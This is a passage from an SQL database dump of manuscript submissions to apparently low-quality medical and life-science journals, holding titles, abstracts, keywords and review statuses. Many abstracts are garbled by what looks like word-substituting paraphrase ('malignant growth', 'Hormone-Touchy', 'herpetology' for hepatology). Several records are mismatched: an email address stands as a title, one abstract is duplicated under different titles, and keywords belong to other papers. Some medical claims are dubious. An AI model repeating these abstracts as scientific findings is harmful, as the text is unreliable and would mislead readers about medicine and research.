discoveries\r\n','cardiovascular,atherosclerosis',5410,NULL,'2022-12-14',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13312,13522,975,0,'ipjbs-22-13312','A Short Note on the Enhanced infectious diseases vaccines',NULL,19,0,'','The best way to avoid getting the influenza virus is to get vaccinated. In any case, flow occasional flu antibodies are just defensive against firmly paired coursing strains. Our efforts frequently result in mismatches and low vaccine effectiveness, despite extensive monitoring and annual reformulation. As a result, we are still one step behind the rapidly evolving virus. Fortunately, numerous next-generation influenza vaccines are currently in development, making use of a variety of cutting-edge methods to speed up production and broaden protection. The vaccine manufacturing practices that are currently in use, the most recent advancements in influenza vaccine research, and any potential obstacles that need to be overcome are all covered in this overview. The advantages of removing the glycan shield from influenza surface antigens in order to increase vaccine immunogenicity and the potential role that glycol engineering might play in the development of an influenza vaccine are given particular attention. From an industry perspective, the possibility of developing these novel influenza vaccine candidates in the future is discussed.','Influenza Virus, Glycoengineering, Vaccine',5410,NULL,'2022-12-14',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13313,13523,971,0,'ipaclr-22-13313','The Global Modelling Consortium for Coronavirus and Cancer',NULL,5,0,'','The COVID-19 and Cancer Global Modeling Consortium (CCGMC) was established in May 2020 to address the global need for evidence regarding the impact of interruptions and their moderation. The CCGMC intends to organise pertinent research on COVID-19 and disease and set up illuminating demonstrating stages for malignant growth control decision-production. Three interconnected work streams have been established by the CCGMC to examine the impact of COVID-19 on the outcomes of malignant growth screening and analysis, and disease risk. The focus is on developing a framework that will allow for the distribution of regularly updated short- and long-term projections of malignant growth significant outcomes. A lot of attention is being paid to evaluating potential prioritisation and recovery strategies both during and after the serious social and wellbeing administration interruptions experienced globally.','',4710,NULL,'2022-12-14',NULL,'Submitted',2,NULL,'2022-12-17',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13315,13377,91,0,'ijddr-22-13315','Optimized antifungal and antibiotic activities of nanoparticles entrapped in antibody octominin',NULL,5,0,'','The nanoencapsulation of antimicrobial peptides (AMPs) has been utilized as a strategy to overcome obstacles such as poor stability, adverse interactions, and toxicity. Antimicrobial peptides (AMPs) have emerged as an essential solution for controlling multi-drug-resistant (MDR) pathogens. Octominin\'s potent antimicrobial activity against Candida albicans and Acinetobacter baumannii has been demonstrated in previous research. The ionotropic gelation method is the focus of this study, which focuses on the nanoencapsulation of Octominin using chitosan (CS) and carboxymethyl chitosan (CMC) as drug delivery systems. Octominin-encapsulated CS nanoparticles (Octominin-CNPs) had a zeta potential of +51.23  0.38 mV and an average diameter of 372.80  2.31 nm, respectively. Encapsulation efficiency was 96.49 percent, and loading capacity was 40.20 percent. Furthermore, transmission electron microscopy data revealed the irregular shape of the Octominin-CNPs with aggregations, as well as a rapid initial release followed by a sustained biphasic release profile for up to 88.26  3.26% of the total Octominin release for 96 h. Octominin-CNPs had significantly lower toxicity in vitro and in vivo than Octominin at higher concentrations. In the time-kill kinetic and microbial viability assays against C. albicans and A. baumannii, respectively, Octominin-CNPs\' antifungal and antibacterial activities were slightly higher than Octominin\'s. At the tested concentrations, Octominin-CNPs produced morphological alterations, changes in cell membrane permeability, and slightly higher levels of reactive oxygen species than Octominin did against both C. albicans and A. baumannii, according to mode of action evaluations. Octominin-CNPs had slightly higher biofilm inhibition and eradication activities in antibiofilm activity assays than Octominin. Octominin was successfully encapsulated in CS, and Octominin-CNPs outperformed Octominin in terms of antimicrobial activity and toxicity against C. albicans and A. baumannii.','Acinetobacter baumannii; biofilm; Candida albicans; chitosan; encapsulation; Octominin; Octominin-CNPs; Octopus minor',2446,NULL,'2022-12-14',NULL,'Submitted',2,NULL,'2022-12-17',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13317,13488,667,0,'iptb-22-13317','Short review on Using Telemedicine  By Orthopaedic Transplant Patient ',NULL,25,0,'','Background: Due to a lack of routine follow-ups, inpatient, and outpatient-based therapies, the current COVID-19 pandemic has an impact on the morbidities of orthopaedic patients. Telemedicine has recently been a viable option for delivering healthcare to patients and disseminating vital information on orthopaedic self-care and medications that may be used without a trip to the hospital. Telemedicine is sure to have some restrictions as well, though, because no physical examination is conducted. The purpose of this study is to evaluate how well proactive telemedicine keeps track of orthopaedic patients and how satisfied those patients are with telemedicine as a different means of therapy delivery.','Orthopaedics; Patient care; Patient satisfaction; Telemedicine',3322,NULL,'2022-12-15',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'1','ACCEPT',0,NULL,NULL,NULL,0,0,0,NULL,0),(13318,13524,1020,0,'ipmedt-22-13318',' GracielaJanice65@edu.in',NULL,6,0,'','Normalization, which is typically accomplished by comparing the abundance of the gene of interest to that of an endogenous reference gene, is an essential step in gene expression analysis for obtaining useful data from reverse transcription quantitative PCR (RT qPCR) assays. It\'s not easy to find these reference genes, which should be stable when expressed in multiple tissue samples and under different experimental conditions. A set of genes has been identified and evaluated in this work that could serve as a reference for gene expression studies on water buffalo. The first step involves downloading a Bos taurusexpressed sequence tags database from the TIGR Gene Index and mining it with simple frequency algorithms to determine which tentative consensuses are more suitable for inclusion in a starter set of candidate reference genes because they are present in a remarkable number of different cDNA libraries. An RT qPCR analysis, in which the expression stability of these genes was evaluated on a panel of buffalo tissues and organs, was carried out in order to validate the potential of such candidates for their use as normalizers in buffalo gene expression analysis. According to our findings, gene expression levels in buffalo tissues and organs can be compared using normalizers based on ribosomal proteins L4 and L5 and Gek proteins.','gene expression, reference genes, normalization',5042,NULL,'2022-12-15',NULL,'Submitted',4,NULL,'2022-12-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13319,13525,326,0,'IPJUS-22-13319','Methods and Phenotyping Protocol of Oral Surgery',NULL,5,0,'','With the current widespread use of three-dimensional (3D) facial surface imaging in clinical and research environments, there is a growing demand for high-quality craniofacial norms based on 3D imaging technology. The principal goal of the 3D Facial Norms (3DFN) project was to create an interactive, Web-based repository of 3D facial images and measurements. Unlike other repositories, users can gain access to both summary-level statistics and individual-level data, including 3D facial landmark coordinates, 3D-derived anthropometric measurements, 3D facial surface images, and genotypes from every individual in the dataset. The 3DFN database currently consists of 2454 male and female participants ranging in age from 3 to 40 years. The subjects were recruited at four US sites and screened for a history of craniofacial conditions. The goal of this article is to introduce readers to the 3DFN repository by providing a general overview of the project, explaining the rationale behind the creation of the database, and describing the methods used to collect the data. Sex- and age-specific summary statistics (means and standard deviations) and growth curves for every anthropometric measurement in the 3DFN dataset are provided as a supplement available online. These summary statistics and growth curves can aid clinicians in the assessment of craniofacial dysmorphology.\\\\r\\\\nThe success of investigations into the underlying causes and effective treatment of craniofacial malformations depends on the acquisition of objective, reliable, and carefully collected data on the craniofacial phenotype. Many individuals with congenital anomalies that affect the head and face present with subtle morphologic disturbances. Implicit in any description of facial dysmorphology is the notion that the phenomenon under consideration represents a deviation from some “normal” or baseline state. Thus, all descriptions of dysmorphology are inherently comparative by nature. As a consequence, an understanding of what constitutes the range of normal variation for craniofacial features is essential. Although attempts to quantify the human face date back to antiquity, standardized methods for measuring the human face were only developed in the early 20th century. In response to the clinical community\\\\\\\'s need for population-based norms, large datasets comprising standardized facial anthropometric or cephalometric measures were eventually constructed. In order to fully capture the variation present in the general population while simultaneously providing age-, sex-, and ethnicity-specific normative data, large numbers of healthy individuals were required for these databases. Clinicians and researchers routinely use these normative datasets to determine how measurements from a particular patient or subject compare with those of their peers and to perform group-based morphologic comparisons. When quantitative measurements are combined with genomic information within a single craniofacial database, the possibility of mapping the genes that underlie normal variation in craniofacial traits becomes possible.','Keywords: three-dimensional (3D) facial surface; dysmorphology; anthropometric; morphologic comparisons\\\\r\\\\n',3103,NULL,'2022-12-15',NULL,'Submitted',2,NULL,'2022-12-17',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13320,13526,251,0,'ipacm-22-13320','Hepatitis B and Hepatitis D Virus: Diagnosis, Treatment',NULL,5,0,'','Each hepatitis virus Hepatitis A, B, C, D, E, and G poses a distinct scenario to the patient and clinician alike. Since the discovery of each virus, extensive knowledge regarding epidemiology, virology properties, and the natural clinical and immunologic history of acute and chronic infections has been generated. Basic discoveries about host immunologic responses to acute and chronic viral infections, combined with virology data, has led to vaccines to prevent Hepatitis A, B, and E and highly efficacious antivirals for Hepatitis B and C. These therapeutic breakthroughs are transforming the fields of herpetology, transplant medicine in general, and public and global health.','Viral Hepatitis, Hepatitis A, Hepatitis B, Hepatitis C, Hepatitis D, Hepatitis E, Hepatitis G',784,NULL,'2022-12-15',NULL,'Submitted',2,NULL,'2022-12-22',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13321,13527,971,0,'ipaclr-22-13321','Generally Speaking, Enzalutamide and Androgen Deprivation Therapy Improves Survival of Men with Metachronous Metastatic Hormone-Touchy Prostate Cancer',NULL,5,0,'','Men who initially exhibit confined prostate cancer and later develop metachronous metastases have a better prognosis than men who develop recurrent disease, and they frequently have a low weight of infection on standard imaging. Because there is no documented evidence of the benefits of combining foundational treatment for lymph node or bone metastases, some patients have disease amenable to metastasis-coordinated treatment. We present data for patients from the interval investigation of the ENZAMET preliminary who were provisionally assigned \"M0\" at the starting finding, with 34 mo of middle development for survivors. ','',5346,NULL,'2022-12-16',NULL,'Submitted',2,NULL,'2022-12-17',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13322,13528,251,0,'ipacm-22-13322','Bacterial Infection of the Skin and Skin Microflora, Microbiome',NULL,5,0,'','Skin and soft tissue infections (SSTIs) involve microbial invasion of the skin and underlying soft tissues. They have variable presentations, etiologies and severities. The challenge of SSTIs is to efficiently differentiate those cases that require immediate attention and intervention, whether medical or surgical, from those that are less severe. Approximately 7% to 10% of hospitalized patients are affected by SSTIs, and they are very common in the emergency care setting. The skin has an extremely diverse ecology of organisms that may produce infection. The clinical manifestations of SSTIs are the culmination of a two-step process involving invasion and the interaction of bacteria with host defences. The cardinal signs of SSTIs involve the features of inflammatory response, with other manifestations such as fever, rapid progression of lesions and bullae. The diagnosis of SSTIs is difficult because they may commonly masquerade as other clinical syndromes. To improve the management of SSTIs, the development of a severity stratification approach to determine site of care and appropriate empirical treatment is advantageous. The selection of antimicrobial therapy is predicated on knowledge of the potential pathogens, the instrument of entry, disease severity and clinical complications.\r\nThe skin is the human body’s largest organ, colonized by a diverse milieu of microorganisms, most of which are harmless or even beneficial to their host. Colonization is driven by the ecology of the skin surface, which is highly variable depending on topographical location, endogenous host factors and exogenous environmental factors. The cutaneous innate and adaptive immune responses can modulate the skin microbiota, but the microbiota also functions in educating the immune system. The development of molecular methods to identify microorganisms has led to an emerging view of the resident skin bacteria as highly diverse and variable. An enhanced understanding of the skin microbiome is necessary to gain insight into microbial involvement in human skin disorders and to enable novel promicrobial and antimicrobial therapeutic approaches for their treatment.','Bacterial; Infections; Management; Skin',781,NULL,'2022-12-16',NULL,'Submitted',2,NULL,'2022-12-22',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13323,13529,971,0,'ipaclr-22-13323','Patient and Early Research on Pancreatic Cancer Cells',NULL,5,0,'','Only 33% of those who supported exploration believed that after the pandemic ended, funding levels for research would return to normal. This demonstrates that a sizeable portion of PC research is seriously at risk.According to 66% of preclinical PIs [1], unexpected and delayed interference related to the COVID-19 episode significantly hampered essential examination. In vitro and in vivo tests cannot be carried out without a lab, Despite the fact that the pandemic has reignited interest in some elective methods for treating the disease, some research activities and logical gatherings still focus on malignant growth. Projects based on human examples, such as patient-determined xenograft and patient-inferred organoids foundation, were put on hold due to the overall and irregular conclusion of labs, the limited turnover of staff to reduce interpersonal contact, along with a decrease in clinical preliminary enrollment and generally admission to medical clinic offices. ','',4702,NULL,'2022-12-16',NULL,'Submitted',2,NULL,'2022-12-17',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(13324,13530,971,0,'ipaclr-22-13324','The Use of microbiology tests in different fields',NULL,5,0,'','Clinical microbial science research facilities assume an urgent part in quiet consideration utilizing customary and imaginative diagnostics. Challenges looked by research facilities incorporate arising microbes, quickly developing advancements, medical care obtained contaminations, anti-microbial safe creatures, and various patient populaces. In spite of these difficulties, numerous clinical microbial science research facilities in the US are not coordinated by doctoral level microbial science prepared people with adequate time committed to lab administration.','',4710,NULL,'2022-12-16',NULL,'Submitted',2,NULL,'2022-12-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13325,13531,91,0,'ijddr-22-13325','Unexplored Medicinal Plant Genomics Pathways and Drug Discovery',NULL,5,0,'','80% of the world\'s population relies on herbal medications, which are more secure than traditional medicines. Research has recently concentrated on finding new treatments from herbal remedies or botanical sources because conventional medications are expensive and have dangerous adverse effects. Alkaloids, terpenoids, and phenolic chemicals, which are secondary metabolites of plant metabolism, have been the source of the bulk of novel herbal medicines. In order to create novel medications and other goods, just a small portion of the enormous diversity of plant metabolism has been studied thus far. The rapid identification of previously unidentified metabolic pathways and enzymes may be facilitated by the introduction of new herbal genomics research, the medicinal plant genomics consortium, and other omics information advancements. For the most part, plant-based remedies have been employed for more than 5000 years in traditional herbal therapy. When individuals first discovered that herbs had medical characteristics, they did not consider the scientific data, the philosophical and experimental underpinnings, the molecules responsible for the medicinal value, and of course the currently developing field of herbal genomics. The high expense of new medications, increased side effects, germ resistance, and the absence of effective treatments for many chronic conditions are the main causes of ongoing and renewed public interest in alternative and complementary medicine. Countries like India, China, Korea, and Japan are currently taking the lead and spending continuously in research on traditional treatments that are backed by scientific data as well as the validation of fundamental concepts. China, a global leader in traditional medicine, has effectively marketed its own therapies using a science-based methodology, as seen by the sharp rise in the number of licenced Chinese medicine practitioners in the United States. India is also getting ready, and Ayurveda, the traditional Indian medicine, has seen a sharp increase in recognition worldwide. 2500 of the 21,000 medical plant species classified by the World Health Organization are found in India, which is currently recognised as the world\'s largest producer of medicinal herbs. Global statistics reveal that 80% of the world\'s population primarily uses plant medicines and ethnobotanical treatments, such as the anticancer drugs camptothecin and Taxol, the antimalarial drugs artemisinin and quinine, the antigout medicine colchicine, the analgesics codeine and morphine, the cardiac depressant quinidine, the antidiabetic allicin, and the stimulants caffeine and nicotine for brain functions. Even though there were nearly 100 plant-derived compounds undergoing clinical trials as of late 2007, plant-derived natural products continue to be valuable sources for drug development. However, the clinical potential of these compounds is frequently limited by low levels of production in plant species or by a lack of sources to prevent extinction. Because the main source, yew tree bark, could not be used as a sustainable source of the medicine, use of the popular drug Taxol nearly came to an end in the early 1990s. A taxol precursor and a semi-synthetic protocol could have been the ideal way to convert it into the active drug. Given the tremendous chemical diversity of the plant kingdom and the broad medical benefits of naturally occurring chemicals generated from plants, researchers are now concentrating on the little understood aspects of herbs, such as their genetic makeup, agricultural features, and medicinal worth. A new field termed \"herbal genomics\" is currently developing as a result of the quick advancements in high throughput sequencing technologies and significantly lower costs. Sequencing, assembling, and annotating the genomes of therapeutic herbs will enable the systematic examination of their genes\' activities. Due in part to their intricacy, there have only been a few well-assembled herbal genomes published to date. So it is possible to predict the secondary metabolic pathways of herbs using genomic data along with transcriptomic, proteomic, and metabolomic data. Studies of their metabolic pathways and metabolic diversification in various plant taxa (from algae to angiosperms) may also shed light on the possibility of discovering new, specialised metabolic processes.','World Health Organization: Glucose; Herbal',4616,NULL,'2022-12-16',NULL,'Submitted',2,NULL,'2022-12-17',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13326,13532,971,0,'ipaclr-22-13326','Lymphatic endothelial cells exposed to cancer stimulate essential growth and development by using IL6',NULL,5,0,'','The growth microenvironment (TME) is a puzzling biological system made up of stromal cells that are not affected by disease, extracellular framework, and (invulnerable, provocative, endothelial cells and fibroblasts). Presently, there is a strong belief that the puzzling interactions between stromal cells and disease cells, which can occur through the lymphatic system as well as the blood, contribute to the spread of cancer and metastatic disease. The broken storm cellar film that supports the lymphatic endothelial cells (LEC) lining the introductory vessels also forms \"button-like\" intersections between the endothelial adherens fibres of the vascular endothelial cadherin (VE-Cad). Two essential components of early lymphatic vessels, interstitial liquid and (vulnerable and disease) cells, may be taken up by these specific intermittent intersections (LV).','',5346,NULL,'2022-12-16',NULL,'Submitted',2,NULL,'2022-12-20',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13329,13534,85,0,NULL,'Human Rights, Climate Change, Environmental Health ',NULL,5,0,'','The worldwide society faces significant social, environmental, and economic issues as a result of global climate change. The deep and complex relationships between environmental quality and human health are among the many layers of human susceptibility to environmental change that climate change brings to light. Even while these connections are becoming more widely acknowledged, there is still little research on the connections between environmental quality and human rights and climate change, which are also becoming more contentious. It is commonly acknowledged that there are connections between environmental quality and the capacity to preserve human rights to health as well as rights to things like life, dignity, respect, equality, nondiscrimination, and involvement in decision-making. However, there are no official international processes for recognising or taking action against these linkages. Reevaluating the connections between environmental issues and climate change is being prompted by human rights, especially the right to health, and health. Significant risks to human health posed by climate change include water scarcities, flooding, droughts, and famines, as well as the spread of illness and psychological stress. This article examines the connections between climate change, environmental quality, the proposed human right to a healthy environment, and the right to health.','Gamification; Health promotion; Older adults; COVID-19; Digital inclusion; Western Pacific',3282,NULL,'2022-12-17',NULL,'Submitted',4,NULL,'2023-01-23',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13331,13536,975,0,'ipjbs-22-13331','Cannabinoid Toxins as a Pharmaco-Therapeutic Treatment Option for Pro Fungal Infections',NULL,5,0,'','It has been demonstrated that the endocannabinoid system is involved in a variety of skin functions, including melanogenesis, the maintenance of redox balance in UV-exposed skin cells, barrier functions, sebaceous gland activity, wound healing, and the immune response of the skin. Cannabinoid compounds and derivatives are intriguing as potential systemic and topical treatments for a variety of inflammatory, fibrotic, and pruritic skin conditions in addition to their potential use in the treatment and prevention of skin cancer. Androgenetic alopecia, atopic and seborrhoeic dermatitis, dermatomyositis, asteatotic and atopic eczema, uraemic pruritis, scalp psoriasis, systemic sclerosis, and venous leg ulcers have all been successfully treated with cannabinoid compounds. The current body of research on cannabinoid compounds as potential treatments for skin diseases is examined in this review.','cannabinoids; receptors for cannabinoids; dermatitis atopy; dermatomyositis; fibrosis; inflammation; pruritus; psoriasis; sclerosis systemic; healing of wounds.',5410,NULL,'2022-12-17',NULL,'Submitted',2,NULL,'2022-12-26',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13332,13537,971,0,'ipaclr-22-13332','Conceptual Medical Procedure: Robotic Single Site Laparoscopic Myomectomy',NULL,5,0,'','Our article aims to be both a review of the recent past and a forecast of what lies ahead for regenerative medicine. We attempt to predict the future by taking into account the rate of technological advancement over the last ten years. We also explore the evolving nature and pragmatic challenges of gynaecologic surgery for the conceptive endocrinology and fruitlessness subspecialist. We will make sense of how novel developments might alter our perceptions and presumptions regarding the indications, timing, and intensity of careful intercession in the patient seeking preservation of ripeness as well as the patient who is barren.','',5383,NULL,'2022-12-17',NULL,'Submitted',2,NULL,'2022-12-20',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13333,13538,971,0,'ipaclr-22-13333','Overview of Clinical pathology and Clinical Laboratory',NULL,5,0,'','On-going reports project a lack of veterinary pathologists, demonstrating a need to prepare profoundly qualified veterinary pathologists, especially in scholastic veterinary medication. The need to give great exploration preparing to veterinary pathologists has been perceived by the veterinary pathology preparing system of the Ohio State College (OSU) since its commencement. The OSU program integrates components of both residency preparing and graduate training into a brought together program. This survey shows the parts and design of the preparation program and ponders future difficulties in preparing veterinary pathologists. Key components of the OSU program incorporate an accomplished workforce, devoted staff, and excellent understudies who have a feeling of normal mission. ','',3236,NULL,'2022-12-17',NULL,'Submitted',2,NULL,'2022-12-20',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13334,13539,971,0,'ipaclr-22-13334','Opinion for Researchers in their Early Careers with a Concentration in Respiratory and Intensive Care Medicine',NULL,5,0,'','Abstract\r\nDespite the significant global burden of respiratory and critical illness, specialist treatment is underutilised in low- and middle-income nations. Academic global pulmonary and critical care medicine (PCCM) is still a relatively new concept, despite the fact that opportunities for trainees in many areas of medicine have grown significantly over the past ten years. These opportunities are typically limited to specific institutions and geographical areas. As a result, junior faculty members and PCCM fellows at universities with a dearth of global health mentorship receive little assistance in developing fulfilling careers in global health. The issue of how interested respiratory therapy students can learn about RRT research within frequently rigorously regulated training programmes therefore arises. There is currently a dearth of material on respiratory therapy students who choose to do research as part of their academic training. As a result, adding a summertime student research observership elective could be one way to expand research exposure. The significance of research for respiratory therapists will be covered in this article, along with the attitudes RRTs currently have toward it and a student-mentor-led experience in an elective research opportunity.\r\n','',5381,NULL,'2022-12-17',NULL,'Submitted',2,NULL,'2022-12-20',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13335,13540,971,0,'ipaclr-22-13335','A Cutting-Edge Omics Technique used recently in the Study of Herbal Medicine: Metabolomics',NULL,5,0,'','Omics approaches, such as (meta) genomics for DNAs, transcriptomics for RNAs, proteomics for proteins, metabolomics for small hydrophilic compounds, and lipidomics for tiny lipophilic molecules, all aim to assess the entire composition of a particular biochemical group. This therapy option has not yet been refined into a specific clinical application, despite numerous studies still being conducted on it. Recent advancements in medical research and our understanding of biological systems have been made possible by omics, a high-throughput method for comprehending the genome, transcriptome, proteome, and metabolome. Advanced omics methods have been used to research numerous cancer immunotherapies, including multi-omics, single-cell omics, and conventional omics.','',4933,NULL,'2022-12-19',NULL,'Submitted',2,NULL,'2022-12-20',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13336,13541,975,0,'ipjbs-22-13336','A  Note on the Classification and Confirmation of reference genes',NULL,19,0,'','Normalization, which is typically accomplished by comparing the abundance of the gene of interest to that of an endogenous reference gene, is an essential step in gene expression analysis for obtaining useful data from reverse transcription quantitative PCR (RT qPCR) assays. It\'s not easy to find these reference genes, which should be stable when expressed in multiple tissue samples and under different experimental conditions. A set of genes has been identified and evaluated in this work that could serve as a reference for gene expression studies on water buffalo. The first step involves downloading a Bos taurusexpressed sequence tags database from the TIGR Gene Index and mining it with simple frequency algorithms to determine which tentative consensuses are more suitable for inclusion in a starter set of candidate reference genes because they are present in a remarkable number of different cDNA libraries. An RT qPCR analysis, in which the expression stability of these genes was evaluated on a panel of buffalo tissues and organs, was carried out in order to validate the potential of such candidates for their use as normalizers in buffalo gene expression analysis. According to our findings, gene expression levels in buffalo tissues and organs can be compared using normalizers based on ribosomal proteins L4 and L5 and Gek proteins.','gene expression, reference genes, normalization, RT qPCR',5410,NULL,'2022-12-19',NULL,'Submitted',2,NULL,'2022-12-26',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13337,13542,1020,0,'ipmedt-22-13337','A  Short Note on Molecular Drug Targets and It’s Types',NULL,19,0,'','The outcome of instrument put together medication revelation depends with respect to the meaning of the medication target. As we try to connect drug response to genetic variation, comprehend stratified clinical efficacy and safety, explain the differences between drugs in the same therapeutic class, and predict drug utility in patient subgroups, this definition takes on even greater significance. However, the literature frequently provides inadequate definitions of drug targets, both for currently being developed therapeutic agents and for drugs that have already been approved for use. An updated and comprehensive map of approved drugs\' molecular targets is presented here. Information that can lead to an avalanche of therapeutic targets can be obtained through access to the complete sequences of pathogenic organisms and the human genome. One of the first methods used in drug design is structure-based design. Finding and enhancing the 3D structure (binding and/or active site) of a target molecule, such as a receptor protein, is specifically referred to as structure-based design. This review aims to provide an overview of studies in the field of structure-based drug design that have aided in drug discovery. Comparative and homology modeling will be the primary focus. We curate 893 biomolecules derived from humans and pathogens, which are used in 1,578 US FDA-approved drugs. These biomolecules include 667 proteins that are derived from the human genome and are the targets of drugs that treat human disease. The analysis of these drug targets reveals not only the expansion of novel first-in-class mechanisms, particularly in oncology, but also the continued dominance of privileged target families across disease areas. We investigate the presence of orthologues between human and animal models, as well as between pathogen and human genomes, as well as the connections between bioactivity class and clinical success. Through the cooperation of three autonomous groups, we feature a portion of the continuous difficulties in precisely characterizing the objectives of sub-atomic therapeutics and present shows for deconvoluting the intricacies of atomic pharmacology and medication viability.','Drug targets; Protein modeling; Ligands; Design',5044,NULL,'2022-12-19',NULL,'Submitted',2,NULL,'2022-12-22',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13338,13543,326,0,'IPJUS-22-13338','A Short Note on Colorectal Cancer and Surgery',NULL,5,0,'','Colorectal surgery is an established super specialty in most parts of the world. However, in India, this is yet to be recognized as a separate super specialty. Colorectal surgery has a vast scope and needs dedicated training to treat complex colorectal diseases. There is enough scientific evidence to prove that outcomes for such diseases are improved in the hands of dedicated colorectal surgeons. So far in India, the process of granting it the status of a separate super specialty has been initiated but it needs further efforts to formally do so and also start super specialty courses such as MCh/DNB in the field. In this review, we will give a brief historical background of the specialty of colorectal surgery, the scope of colorectal surgery, the scientific evidence to prove that better patient outcomes are achieved in the hands of dedicated colorectal surgeons and finally the journey of efforts that have been carried so far for recognizing this as a separate super specialty in our country. Colorectal surgery has been rapidly evolving over the last few years. Newer technologies and techniques are increasingly being used and have become part of surgical armamentarium. Indeed, much needs to be explored in the field of coloproctology, as the desire to shed light on grey areas is constantly growing, in parallel with the implementation of innovations into clinical practice. The aim of the present Topical Collection is to serve as a forum for critically addressing how the advent of recent technological developments has impacted the outcomes of colorectal surgery, the way patients are managed perioperatively, postoperative recovery, and patient experience throughout an operation. Manuscripts are invited critically assessing the role of minimally invasive approaches, application of artificial intelligence and big data to decision making, peroperative patient optimization, application of transational research in coloproctology, or comparing the outcomes of different innovative approaches to colorectal diseases.\r\nPatients undergoing colorectal surgery experience a physiologic stress response and are at risk of complications and delayed recovery. Attempts to improve recovery have tended to focus on the intraoperative period and the immediate postoperative period (Enhanced Recovery after Surgery, ERAS, and pathways). ERAS reduced overall morbidity, length of hospital stay, and costs by incorporating multimodal optimization of perioperative care first in colorectal surgery and then also in other fields of surgery.','Colorectal surgery, separate, super specialty, surgical treatment',3103,NULL,'2022-12-19',NULL,'Submitted',2,NULL,'2022-12-22',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13339,13544,1020,0,'ipmedt-22-13339','Enzymes and Drug Targets: Transition State Enzyme Inhibitors',NULL,19,0,'','Enzyme inhibitors or inactivators are a common class of drugs used to treat cancer, inflammatory, cardiovascular, metabolic, and infectious diseases. Models exist for every one of the six classes of catalysts, however inhibitors of hydrolases, transferases, and oxidoreductases prevail. At concentrations of 100 nanomolar or less, enzyme inhibitors or inactivators that eventually become drugs typically have a high selectivity for their targets and a high potency toward their targets. Thirteen isozymes make up the human CYP4 family of enzymes, which typically catalyze the -oxidation of endogenous fatty acids and eicosanoids. 20-HETE, a crucial signaling eicosanoid involved in regulating vascular tone and kidney reabsorption, can be biosynthesized by several CYP4 enzymes. Additionally, the rare genetic disorders Refsum disease and X-ALD are characterized by the accumulation of particular fatty acids. As a result, a potential approach for drug discovery is the inhibition or induction of CYP4 enzyme activity. The targeting of CYP4 enzymes in the development of new treatments for hypertension, stroke, certain cancers, and the fatty acid-linked orphan diseases is the subject of this review, which also includes a discussion of the substrate specificities, sites of expression, genetic regulation, and inhibition by exogenous chemicals of the human CYP4 enzymes. Either through a covalent reaction with nucleophilic enzyme residues or through noncovalent binding, drugs inhibit enzyme activity. The time-dependent loss of enzyme activity caused by affinity agents and mechanism-based inactivators\' covalent inactivation is typically irreversible.\r\nA major focus of current drug discovery and development efforts is on enzyme targets due to the therapeutic and commercial success of small-molecule enzyme inhibitors, such as kinase inhibitors in oncology. The process of an enzyme-catalyzed reaction can be used to conceptualize various inhibitor types and guide the design of screens that seek to identify desired mechanisms. By making use of this information, diverse compounds can be thoroughly evaluated, giving researchers the information they need to effectively optimize leads that lead to distinct candidate drugs. This survey features the reasoning for directing top notch unthinking enzymology studies and considers the additional worth in joining such examinations with symmetrical biophysical techniques. \r\nEven though there is no covalent reaction, noncovalent enzyme inhibitors, such as bi-substrate analogs and analogs of enzyme reaction intermediates and transition states, frequently exhibit time-dependent inhibition. The isomerization of an initial enzyme–inhibitor complex into a tighter binary complex, which reverses very slowly, if at all, results in this pseudoirreversible inhibition that is visible at inhibitor concentrations as low as nanomolar. Numerous drugs, including statins, epoxomicin, and HIV protease inhibitors, are based on natural product enzyme inhibitors.\r\n','Hypertension, Stroke, Cancer, Refsum Disease, X-ALD',5044,NULL,'2022-12-19',NULL,'Submitted',2,NULL,'2022-12-22',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13340,13545,251,0,'ipacm-22-13340','Structure, Replication of Rotavirus and Effects of Vaccination',NULL,5,0,'','In children under the age of five, rotavirus infections are the most common cause of severe, dehydrating gastroenteritis. Over a decade after the worldwide introduction of rotavirus vaccinations, more than 200,000 people die annually from rotavirus infections, most of whom occur in low-income nations. The enteric nervous system is activated, intestinal secretion is stimulated by rotavirus non-structural protein 4, and absorptive enterocytes are destroyed, resulting in malabsorption, when rotavirus infects enterocytes. Rotavirus infections can also cause viraemia and antigenaemia, both of which are linked to more severe symptoms of acute gastroenteritis. Rotavirus can also replicate in systemic sites, but this is rare. Reinfections with rotavirus are normal over the course of life, albeit the illness seriousness is diminished with rehash diseases. Although rotavirus-specific immunoglobulin A plays a role in both aspects, the immune correlates of recovery from infection and protection from rotavirus reinfection are poorly understood. Although the administration of antiviral and anti-emetic medications may be required in some instances, the prevention and treatment of dehydration are the primary focuses of rotavirus infection management.','Rotavirus reinfection; Diarrhoea; Vaccination',790,NULL,'2022-12-19',NULL,'Submitted',2,NULL,'2022-12-22',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13341,13546,85,0,'iphspr-22-13341','Health disparities over the starting year of the COVID-19 